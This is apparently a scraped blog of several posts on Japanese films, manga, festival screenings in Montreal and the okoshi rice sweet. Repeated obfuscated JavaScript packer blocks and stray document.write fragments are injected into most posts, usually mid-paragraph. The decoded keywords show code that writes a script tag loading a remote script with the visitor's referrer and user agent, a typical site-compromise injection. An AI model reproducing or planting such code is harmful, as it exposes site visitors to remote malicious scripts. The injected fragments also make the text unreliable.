eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftdan|var|u0026u|referrer|fhbse||js|php’.split(‘|’),0,{}))

Please note that limited seating is available on a first-come, first-served basis. No reservations. Please arrive at least thirty minutes before showtime.

That’s a great opportunity to watch Japanese movies for free!

For more information on the movies that will be screened you can check the Coco Montreal website or Facebook page.

[ Traduire ]

Découverte: Le maître des livres

“À la bibliothèque pour enfant “La rose trémière” vous êtes accueillis et conseillés par Mikoshiba, document.write(“”); un bibliothécaire binoclard célèbre pour son caractère bien trempé. Mais contrairement à ce qu’il peut laisser paraître, c’est un professionnel de premier ordre. Aujourd’hui encore, adultes comme enfants perdus dans leur vie viennent ç lui en espérant qu’il leur trouvera le livre salvateur.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhaer|var|u0026u|referrer|efssd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zibib|var|u0026u|referrer|efdeh||js|php’.split(‘|’),0,{}))

“Une histoire passionnante centrée sur la littérature et Mikoshiba, le “sommelier du livre pour enfant”.”

(Texte de la couverture arrière)

Encore une fois, j’ai découvert ce nouveau titre en jetant un coup d’oeil aux nouveautés de Manga-Thé sur Facebook. Le sujet m’a tout de suite paru intéressant…

Le maître des livres (????? / Toshokan no Aruji / lit. “Le seigneur de la bibliothèque”) est un manga seinen par Umiharu Shinohara qui est couramment prépublié en feuilletons dans la magazine Weekly Manga Times de l’éditeur japonais H?bunsha. Compilé en volumes (tank?bon) depuis août 2011, il y a huit tomes de parus au Japon jusqu’à maintenant et un neuvième devrait paraître à la mi-novembre 2014. Publié en français par Komikku Éditions, le deux premiers volumes sont paru simultanément en août 2014 et un troisième paraîtra en début décembre.

Le maître des livres Vol. 1 & 2, écrit et illustré par Umiharu Shinohara. Paris, Komikku Éditions, août 2014. 192 pages, 13×18 cm, 8,50 € / $14.95 Cnd, ISBN 9791091610629 (vol. 1) et 9791091610636 (vol. 2). Lectorat de 14 ans et plus. À lire absolument! En attendant vous pouvez consultez un extrait d’une quarantaine de pages.

Extraits des pages 2-3 et 8:

Pour plus d’information vous pouvez aussi consulter les sites suivants:

[ Translate ]

All you need is kill

VIZ Media announced the release of All You Need is Kill, document.write(“”); the latest manga by Takeshi Obata (Hikaru no go, Death Note, Bakuman), on November 4th, 2014. This oversized omnibus edition is rated ‘T+’ for Older Teens and will be available under the Shonen Jump Advanced imprint with a print MSRP of $14.99 U.S. / $16.99 CAN. [Read the full press releases]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfnsn|var|u0026u|referrer|thasy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tsriy|var|u0026u|referrer|hhzra||js|php’.split(‘|’),0,{}))

All You Need is Kill originally premiered in VIZ Media’s Weekly Shonen Jump digital manga anthology earlier this year. It was first available in
digital editions as a pair of individual volumes across all platforms (vizmanga,com, Kindle, iBooks, GooglePlay, Kobo, ComiXology, Nook and the VIZ Manga App) for $6.99 each.

The manga is the adaptation of the award-winning Japanese sci-fi novel written by Hiroshi Sakurazaka that inspired the live-action summer blockbuster film Edge of Tomorrow starring Tom Cruise, Emily Blunt and Bill Paxton. The original novel also was the launch title in 2009 for Haikasoru, VIZ Media’s unique literary imprint dedicated to publishing the most compelling contemporary Japanese science fiction and fantasy for English-speaking audiences. VIZ Media also published a special movie tie-in version of the All You Need is Kill/Edge of Tomorrow novel over the summer to support the release of the live-action film.

In this rousing action story, when the alien Mimics invade, Keiji Kiriya is just one of many recruits shoved into a suit of battle armor called a Jacket and sent out to kill. Keiji dies on the battlefield, only to be reborn each morning to fight and die again and again. On his 158th iteration, he gets a message from a mysterious ally – the female soldier known as the Full Metal Bitch. Is she the key to Keiji’s escape or his final death?

[ Traduire ]

Okoshi

When I was a kid I learned to make “Rice Krispies® squares” using a recipe written on the back of a cereal box. It’s a sweet treat that was well appreciated in my family and my sister still makes them for the Holidays. Later, document.write(“”); as a teenager, I was joking that it was a North American adaptation from asian cuisine (an idea that probably came from seeing the evil chinese spy Wen-Li eating his Rice Krispies® with chopsticks in the movie IXE-13 — see the trailer on Youtube).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrzss|var|u0026u|referrer|abras||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdnak|var|u0026u|referrer|aianf||js|php’.split(‘|’),0,{}))

I guess it was not such a far-fetched idea after all. When I heard that a restaurant in Montreal was offering Rice Krispies® sushi, I thought that someone else was in with the joke… Until I realized that Kellogg’s® had posted a Sushi Treats™ Recipe on their website! Okay, it’s made of gummy-worm and fruit strips, but I still think it is rather funny and, in a way, it does make sense.

And it makes even more sense today. As usual, I was eating lunch while watching NHK World on my iPad. Today, it was the travel show / language course “Meet and Speak” lesson #27: Walking the streets of Asakusa (you can see it on Youtube). Near the end of the show (at 8:34), they visit the Nakamise shopping street where a vendor prepare Kaminari Okoshi, a square sweet made of toasted rice. Seeing this, I realized that, after all, “Rice Krispies® squares” were most probably an adaptation of this Japanese sweet. It is very similar (although my wife says that Okoshi is much harder to eat than Kellogg’s® version).

You can easily finds Okoshi recipes online (here’s a simple one on Tousando and a demonstration on Youtube). Also on Youtube, there’s the first episode of the series Sweets Tales which is dedicated to Okoshi (it’s in Japanese, but you can set up english close-caption [CC]):


Bon appétit!

[ Traduire ]

Festival du Nouveau Cinema 2014

The Festival du nouveau cinéma (FNC) is pleased to announce that The Good Lie (U.S.), document.write(“”); directed by Philippe Falardeau, will kick off its 43rd edition, to be held in Montreal from October 8 to 19. The film will be preceded by Matthew Rankin’s short Mynarski Death Plummet (Quebec/Canada). The documentary feature The Salt of the Earth (Brazil/Italy/France), co-directed by Wim Wenders and Juliano Ribeiro Salgado, will close the Festival on October 18. [Read the full press release]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isnes|var|u0026u|referrer|sskfi||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iaaat|var|u0026u|referrer|rktzt||js|php’.split(‘|’),0,{}))

Tokyo Tribe by Japanese director Sion Sono will open the Temps Zéro section, this year celebrating its 10th anniversary. The rap-infused musical is set in a futuristic Tokyo where the gangs that run the city are forced to team up to battle a nasty, nefarious ogre of a mob boss named Big Buppa (Rikki Takeuchi).

In total the festival will offer half a dozen Japanese movies including the latest Shinya Tsukamoto, Takashi Miike, Isao Takahata, and Sion Sono!! Those are all Japanese blockbusters that have been previously screened at other film festivals. I am not planning to attend the festival (because of the lack of time, the unfriendliness of the festival toward small online media but mostly because I must rest after my recent health problems). However, I’ll post here all the information I can get for those who will want to attend:

  • Fire on the plain (?? / Nobi): Japan, 2014, 87 min; Dir./Phot./Prod.: Shinya Tsukamoto; Scr.: Shohei Ooka, Shinya Tsukamoto; Cast: Shinya Tsukamoto, Lily Franky, Tatsuya Nakamura.

    “The philippines, during the second World War, on the Japanese side. An enlisted man is trying to survive. He has tuberculosis, his intense fever is causing gangrene, he’s hungry. so very, very hungry. He is alive, but already dead. And all around him are horrors, each more terrible than the last.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Sat 10/11 21:30 at Auditorium Alumni H110 (Concordia); Sun 10/12 13:15 at Cinéma du Parc 3.

  • Over your dead body (?? ??? / Kuime): Japan, 2014, 93 min; Dir.: Takashi Miike; Scr.: Kikumi Yamagishi (based on a kabuki play by Tsuruya Nanboku IV); Phot.: Nobuyasu Kita; Ed.: Kenji Yamashita; Mus.: Kôji Endô; Cast: Ko Shibasaki, Hitomi Katayama, Ebizô Ichikawa XI, Hideaki Itô.

    “Miyuki and her boyfriend Kosuke land the lead roles in a highly anticipated theatre production. Miyuki will play a woman betrayed who seeks revenge from the beyond. Kosuke will play her lover, a devious psychopath. After rehearsals begin, the production is beset by episodes of madness and violence. is life suddenly imitating art?” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Mon 10/13 21:15 at Cinéma du Parc 1; Sat 10/18 21:45 at Cineplex Odeon Quartier Latin A.

  • Still in the water (2???? / Futatsume no Mado / Lit. “The Second Window”): Japan, 2014, 119 min; Dir./Scr.: Naomi Kawase; Phot.: Yutaka Yamazaki; Ed.: Tina Baz, Naomi Kawase; Mus.: Hashiken; Cast: Nijiro Murakami, Jun Yoshinaga, Tetta Sugimoto, Miyuki Matsuda, Makiko Watanabe, Jun Murakami, Hideo Sakaki, Fujio Tokita.

    “The people of the Amami archipelago in southwestern Japan live in harmony with nature, seeing the divine in the tiniest leaf or smallest twig and celebrating it through traditional song and dance. In this idyllic setting, Kaito, a boy of 14, comes across a man’s body floating in the sea one night. Together with his friend Kyoko (who has a crush on him), he sets out to solve the mystery. But during the course of the investigation and the personal challenges it presents, the two teens discover much more than they had imagined.” (from the Festival’s website)

    Screening as a special presentation: Sun 10/12 15:20 at Auditorium Alumni H110 (Concordia); Sun 10/19 16:30 at Cinéma du Parc 1.

  • The Tale of Princess Kaguya (??????? / Kaguya-Hime no Monogatari): Japan, 2013, 137 min; Dir.: Isao Takahata; Scr.: Isao Takahata, Riko Sakaguchi; animation by Studio Ghibli (Char. Design: Kenichi Konishi; Art Dir.: Kazuo Oga; Anim. Dir.: Kenichi Konishi); Mus.: Joe Hisaishi; Original Voice Cast: Aki Asakura, Kengo Kora, Takeo Chii, Nobuko Miyamoto, Atsuko Takahata, Tomoko Tabata, Tatekawa Shinosuke, Takaya Kamikawa, Hikaru Ij?in, Ryudo Uzaki, Nakamura Shichinosuke II, Isao Hashizume, Yukiji Asaoka, Tatsuya Nakadai.

    “Born inside a bamboo stalk, tiny Kaguya (“radiant princess”) is discovered by an old bamboo cutter, who brings her home. Kaguya grows into a lovely young woman whose beauty is renowned throughout the land. Five noble- men compete fiercely for her hand in marriage, attempting impossible tasks to impress her. But this magical woman’s destiny lies above such mundane concerns.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Mon 10/13 14:00; Fri 10/17 18:30 at Cineplex Odeon Quartier Latin A .

  • Tokyo Tribe (????? ???? / T?ky? Toraibu): Japan, 2014, 116 min; Dir.: Sion Sono; Scr.: Sion Sono (based on the manga by Santa Inoue); Phot.: Daisuke Sôma; Ed.: Jun’ichi Itô; Mus.: B.C.D.M.G.; Cast: Ryohei Suzuki, Young Dais, Nana Seino, Ryuta Sato, Shoko Nakagawa, Mika Kano, Yosuke Kubozuka, Riki Takeuchi, Takuya Ishida, Shunsuke Daito, Yui Ichikawa, Denden, Shota Sometani, Mao Mita.

    “A future Tokyo where gangs reign supreme. A nasty mobster who happens to be an ogre (yes, the kind that eats people) by the name of Big Buppa (Rikki Takeuchi in an instant-classic and thoroughly grotesque performance) wants to take on all the gangs. A young woman on the run finds a solution to the crisis, uniting all of Tokyo against the monster. Gang wars, fratricidal yakuza battles, criminal madness, revenge Tokyo-style. Yes, Tokyo Tribe has all that, but you might be surprised to learn it’s also a musical–all rap, all the time, from the first frame to the last. ” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Thu 10/09 19:00 at Auditorium Alumni H110 (Concordia); Fri 10/10 16:30 at Cineplex Odeon Quartier Latin B.

  • The world of Kanako (?? / Kawaki): Japan, 2014, 118 min; Dir.: Tetsuya Nakashima; Scr.: Tetsuya Nakashima (based on the novel by Akio Fukamachi); Phot.: Shoichi Ato; Ed.: Yoshiyuki Koike; Cast: K?ji Yakusho, Nana Komatsu, Satoshi Tsumabuki, Joe Odagiri, Fumi Nikaid?, Hiroya Shimizu, Hiroki Nakajima, Ai Hashimoto, Asuka Kurosawa, Miki Nakatani, Jin Hoshino, Mahiro Takasugi, Jun Kunimura, Munetaka Aoki, Aoi Morikawa, Yasuo Koh, Megumi Hachitaya, Shouno Hayama.

    “Akikazu, a bitter, hard-drinking cop who was kicked off the police force, is contacted by his ex-wife when their straight-A daughter, Kanako, goes missing. The man embarks on a brutal investigation that goes deep into the heart of a clandestine underworld ruled by violence and murder. As the body count rises, the veil comes off Kanako’s secret life, revealing the horrifying truth.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Wed 10/15 21:15 at Auditorium Alumni H110 (Concordia); Sat 10/18 15:00 at Cineplex Odeon Quartier Latin A.

[ Traduire ]

MWFF Japanese shorts

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeiea|var|u0026u|referrer|frsid||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdksz|var|u0026u|referrer|erttb||js|php’.split(‘|’),0,{}))

There was five japanese short films presented at the 2014 Montreal World Film Festival. I’ve seen most of them and here are a few thoughts about them.

Kemukujara

“Keblujara depicts the cycle of bullying. The weak beat the weaker and they, document.write(“”); in turn, beat those weaker than them. This chain is finally broken by the very weakest, who turns into a beast and proceeds to fulfill his destiny.” (Text from the Festival’s program)

“Fruit d’une première collaboration entre l’artiste visuel Nonowe Akihito et le compositeur Isao Sano, ce film d’animation dessiné et peint à la main raconte quatre courtes histoires issues d’un pays appelé le Keblujara.” (Extrait du programme)

This experimental stop motion animation has no dialogue and is the first part of the Keblujara series. It is the only Japanese shorts films that was in competition this year and the only one that I couldn’t manage to see. However, I heard very good comments about it. For more information I refer you to the excellent commentary written by Claude R. Blouin (in French).

Kemukujara: Japan/Australia, 2014, 13 min.; Dir./Scr.: Akihito Nonowe; Phot.: Isao Sano, Konoka Takashiro; Ed. : Keblujara Productions; Mus.: Isao Sano. Presented at the Montreal World Film Festival on August 27th (CI at 9h00 & 19h00) and 28th (CI at 14h00).

For more information you can visit the following websites:

All he knows right

“In Keblujara, a mad artist lives in a box on his own back.” (Text from the Festival’s program)

“Animation dessinée et peinte à la main qui raconte une histoire d’un pays fictif appelé le Keblujara, fruit d’une collaboration entre l’artiste visuel Nonowe Akihito et le compositeur Isao Sano.” (Extrait du programme)

This experimental stop motion animation has no dialogue and is the second part of the Keblujara series. I am not a big fan of stop motion animation, particularly this “artsy-fartsy” type which always have nebulous stories that can often be opened to interpretation. In this case, an artist is living in a box on his own back. It reminds me a little of weird Czech animations like The Fantastic Planet.

However, this film is technically quite interesting as it mixes techniques like stop motion and standard animation. I particularly liked the effect created by mixing real fire and stop motion animation which was well done and must have been quite difficult (as well as lengthy and complicated) to achieve.

I missed the screening of the longer first part of this series but I was told that this shorter segment was much better, easier to understand and more balanced. I had the opportunity to participate to a nice “chat” with the production team (I could follow some part of the conversation, but Mr. Blouin kindly translated most of it).

All He Knows Right: Japan/Australia, 2014, 5 min.; Dir./Scr.: Akihito Nonowe; Phot.: Isao Sano, Konoka Takashiro; Ed. : Keblujara Productions; Mus.: Isao Sano.
For more information you can visit the following websites:

Suicide Volunteers

“The film is based on a true story of the flight school instructor who sacrificed his life in the suicide attacks at the end of World War II.” (Text from the Festival’s program)

“Le commandant Fujii, un instructeur de l’école de pilotage, a sacrifié sa vie dans des attentats-suicides à la fin de la Seconde Guerre Mondiale. Adaptation d’une histoire véridique.” (Extrait du programme)

A man who trains Japanese airplane pilots for the their suicide mission feels he is not doing his patriotic duty and requests to join his recruits on their mission. His superior deny his plea because his position as trainer is essential and he has a wife and children. He eloquently convinces the few students who question the validity of their mission as a waste. After his wife kills herself and the children, he is finally allowed to go on a mission.

It is a beautiful treatment for the most stupid part of Japanese history. The movie seems strangely neutral about this subject, as it neither condone or condemn the use of kamikaze. It’s a good period drama considering the limitation of a short film. I particularly like the effects giving the pictures an old WW2 look and feel.

Suicide volunteers (???? / Tokko Shigan): Japan, 2013, 25 min.; Dir./Scr./Ed.: Kenshow Onodera; Phot.: Shigeo Kobayashi; Mus.: Shiro Mashiba; Cast: Mitsuki Koga, Yuka Takeshima, Yuji Shikano, Yuji Kakizaki.
For more information you can visit the following websites:

The Free man

“Jay is an ex-con who tries to turn over a new leaf by working at a laundry store [where he] shares duties with Kit, a young woman with physical disability who is the boss’ niece.” (Text from the Festival’s program)

“Jay, un ex-détenu, tente de tourner une nouvelle page en travaillant dans une blanchisserie. Il y rencontre Kit, une jeune femme avec un handicap physique, nièce du propriétaire.” (Extrait du programme)

This is the only non-japanese movie in this bundle of shorts. It’s a gritty reality type of movie. An ex-convict work in a laundry shop and likes the handicapped niece of the owner. However, he soon realize that his boss is abusing her, but he hesitate doing anything because he really needs the job and fear going back to prison. At some point it is just too much for him… The dark photography emphasize well the oppressive feeling, but for the rest it’s an average violent chinese movie.

Unfortunately, the english subtitles were out of frame for the ENTIRE movie (only the chinese subtitles were visible) so I couldn’t tell the details of the story and only guess. The dumb-ass projectionist was probably sleeping on the job or, worse, simply didn’t care to reframe the screen (even if several people got up to notify the theatre’s staff). It’s not the first time that such problem occur at this theatre. They seem to take the cinephiles for cash cows and don’t give a damn about them. A real shame!

The Free man: Taiwan, 2014, 30 min.; Dir./Ed.: Sam Quah; Scr.: Yu-Li Chen; Phot.: Xin Hua Feng; Mus.: Wu Xin-Ying; Cast: Ming-Shuai Shi, Xing-Xing Rao.
For more information you can visit the following websites:

No return on perishables

“Short story about a miraculous phenomenon: that desiring another’s happiness can lead to happiness for oneself.” (Text from the Festival’s program)

“Une histoire courte qui illustre un phénomène miraculeux : désirez le bonheur de quelqu’un d’autre peut apporter le bonheur pour soi-même.” (Extrait du programme)

This is a nice and cute romantic comedy.

An insurance salesman meets lots of people for his job. He helps a man who wanted to commit suicide and convince him to live (at least a few more years). He also encounter a woman on a pilgrimage to help her daughter find a nice young man she could marry and bring back her missing husband. The salesman was going to the temple to pray that the flower-shop girl he secretly loves notices him and says yes to his proposal, but instead, after having met the woman, he wishes that she finds her husband and a nice son-in-law. A little later, he purchases flowers at the flower-shop and then comes back to gives them to the girl (she thinks he wants a refund, so she tells him “No return on perishables”!). But then he realizes that the mother of the flower-shop girl is the woman he met earlier on a pilgrimage and that her missing husband is back (and its the man he saved from killing himself)!

It’s a funny story but I felt that the overall quality of the production was a little below professional standard. Also they used a filter on the picture to saturate the colours (to boost them out a little). At first I thought it was due to a bad print or (worse) to a bad cinematography, but after reflection it was probably deliberate to add a dreamy feeling to this moralistic fantasy.

No return on perishables (???????????? / Koi ha kangaeruna, ai ha kanjiro / lit. “Do not think of love, must feel love”): Japan, 2013, 18 min.; Dir./Scr./Ed.: Takatsugu Naito; Phot.: Akiyuki Michikawa; Cast : Ryo Yoshiki, Hiromi Hakogi, Nozomi Tanaka.
For more information you can visit the following websites:

When the sun falls

“A wealthy elite guard of the shogunate is under house arrest for dereliction of duty for allowing an unauthorized person into Edo castle. His fate is unknowned.” (Text from the Festival’s program)

“En 1802, un garde d’élite bien nanti du shogunat est en résidence surveillée pour avoir manqué à son devoir en permettant l’accès au château d’Edo à une personne non autorisée. Son sort est pour l’instant incertain.” (Extrait du programme)

This is a beautiful Jidaigeki movie (period drama). A samurai who was careless in his duty must wait while his fate is decided. He is finally asked to commit seppuku.

This movie offers an interesting reflection on family, duty and how to live one’s life. It is very well made and probably equals any feature-length movie of the same style (samurai costume drama). It is quite powerful for a short movie.

When the sun falls (????? / Hi-wa-ochiru): Japan, 2014, 39 min.; Dir./Scr.: Yuji Kakizaki; Phot.: Yoshinobu Furukawa; Mus.: Shingo Nishimura; Cast : Masayuki Deai, Yuka Takeshima, Go Ibuki, Motoya Izumi, Ikuya Enokizono, Hyuma Ishida.
For more information you can visit the following websites:
This bundle of five Japanese & Taiwanese shorts was screened at the Montreal World Film Festival on August 26th, 2014 (Cinema Quartier Latin 13, 21h40 – there was a little more than a dozen people on the room, which was filled only at twenty or twenty-five percent of its capacity!) as part of the “Focus on World Cinema” (Regular) segment.

[ Traduire ]

Judas

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hezrz|var|u0026u|referrer|sdbee||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drdhf|var|u0026u|referrer|aeiyb||js|php’.split(‘|’),0,{}))

“Erika’s life fall aparts when her boyfriend leaves scars on both her heart and her face. The manager of the family restaurant where she works part time refuses to let her work with a scarred face, document.write(“”); and she has no way to pay for an abortion. She resolves never again to be at the mercy of sentiment. She decides to become a hostess at the Elleseine nightclub in Tokyo’s notorious Kabukichio entertainment and red-light district. Before long she has risen to the top, becoming the club’s number one hostess. But material fortune doesn’t always translate into personal happiness. Can she have her cake and eat it?” (Text from the Festival’s program)


This movie is based on Kurumi Tachibana’s two-part semi-autobiographical novel (Judas: Top and Judas: Bottom, bestsellers but not yet translated in english). It tells of the lightning ascension and downfall of the legendary club hostess in Tokyo’s Kabukich? district.

Erika is an insecure high school student in Saitama prefecture. Betrayed by her boyfriend, she finds herself pregnant, scarred and has consequently lost her job. A chance encounter with the manager of a hostess club from the entertainment district of Omiya will give her an opportunity to earn the money she needs for an abortion and provide her some sense of purpose. Within a year, under the professional name of Hitomi, she becomes the number one hostess of the club Elleseine. A hostess is basically a modern geisha: she flirts, provides drinks, attention, and entertainment to the salarymen that mostly constitute the clientele. It generally never involves sex. She manipulates men, creates a desire and fill their sense of affective emptiness with her glamorous act that indulge their greed, lust and illusion of power. Ultimately, she simply tricks them into spending money at the club and on lavish gifts for her.

However, she still doesn’t feel fulfilled. She has lost faith in true love and has therefore forsaken having any real relationships. She is troubled by her loneliness and the fear of being overcome again by weakness. But who could fill her own emptiness? She hides behind the armour of her make-up and all she can do is abandon herself to an insatiable ambition for more power and money. [Left: the real Kurumi Tachibana]

She changes her name to Kurumi and moves to Eden, a top-class hostess club in Kabukicho. The competition is fierce amongst the hostesses. However, despite being bullied by top-hostess Mimi, she reaches the number two position in just two months. But that’s still not enough. She succeeds climbing to the top by using betrayal, which earns her the nickname “Judas”. One day, Mimi is sick and shows some weakness by trusting into Kurumi’s hand her most important customer and lover: Saeki. She woos him and steel him from Mimi. She becomes the most desirable hostess but also the most ruthless: she abandoned Saeki when he’s bankrupted and drove one of her first and most faithful customers, Nawa (nicknamed “Beethoven”), to the brink of financial ruin.

One day, she meets a young finance tycoon named Ohno and she slowly falls for him. She does her best to resist the attraction and battle her own weakness. She moved to the ultra luxurious nightclub Dulcinea and, as she feel being at the top, her entire world comes down on her. When Ohno suddenly disappears, she discovers that he is a fraudster and loan-shark wanted by the police! Can she find a way to bounce back?

Evidently she has. After spending eight years in the extreme world of hostess clubs, Kurumi Tachibana is now a popular writer, actress and TV personality.

Judas is a movie about growth: the main character lacks confidence but go through many experiences that will change her and eventually make her better. Unfortunately, the movie is lacking something. It feels like the Readers’ Digest version of Tachibana’s biography as her life’s main events unfold before our eyes on fast-forward. We just can’t feel the emotions.

However, it is still a good, entertaining movie. It provides a women point of view on the world, which is rare in the Japanese movie industry. It is a movie about women, produced by a staff almost entirely made of women. It also give us an interesting insight into the world of hostess clubs and offers a fascinating portrayal of human emotional distress. Despite its flaws, it is an intriguing movie, worth watching. Unfortunately, the Dvd release is so far available only in Japanese (amazon.jp, Yesasia).
Judas ( ?? / Yuda ): Japan, 2013, 109 min.; Dir.: Izumi Ohtomi; Scr. Izumi Ohtomi & Kurumi Tachibana (based on her autobiography); Phot.: Natsuha Nakamura; Ed.: Masaki Murayama; Mus.: Masataka Kitaura; Prod.: Harumi Hoshino; Cast: Ayame Misaki, Sho Aoyagi, Kenji Mizuhashi, Noriko Aoyama, Ryohei Suzuki, NorA, Yusei Tajima, Itsuji Itao; Distrib.: Pony Canyon Intl. Film screened at the Montreal World Film Festival on August 30th, 2013 (Cinema Quartier Latin 9, 16h50–the theatre was less than a quarter full, with about 75 people) as part of the “Focus on World Cinema” segment.
For more information you can visit the following websites:
Judas © 2011 movie “Judas” Production Committee. All Rights Reserved.

[ Traduire ]

Our family

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
